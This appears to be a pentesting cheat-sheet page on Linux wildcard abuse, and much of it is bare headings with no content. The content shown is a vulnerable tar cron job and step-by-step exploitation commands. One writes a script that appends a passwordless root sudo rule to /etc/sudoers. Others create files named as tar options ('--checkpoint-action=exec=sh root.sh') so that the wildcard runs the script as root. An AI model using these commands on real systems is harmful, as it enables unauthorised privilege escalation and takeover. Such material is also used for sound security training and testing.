πWildcard Abuse
π― Overview
π Wildcard Characters
Character
Function
π― tar Command Abuse (Most Common)
Vulnerable Cron Job Example
# Cron job with wildcard
*/01 * * * * cd /home/user && tar -zcf backup.tar.gz *Exploitation Steps
# 1. Create malicious script
echo 'echo "user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
# 2. Create argument injection files
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1
# 3. Wait for cron execution
# 4. Check sudo privileges
sudo -lπ§ Other Vulnerable Commands
rsync Abuse
chown Abuse
π Detection & Enumeration
Find Vulnerable Scripts
Quick Check Script
π Common Payloads
Add Sudo Privileges
Create SUID Binary
Reverse Shell
π Key Points
Last updated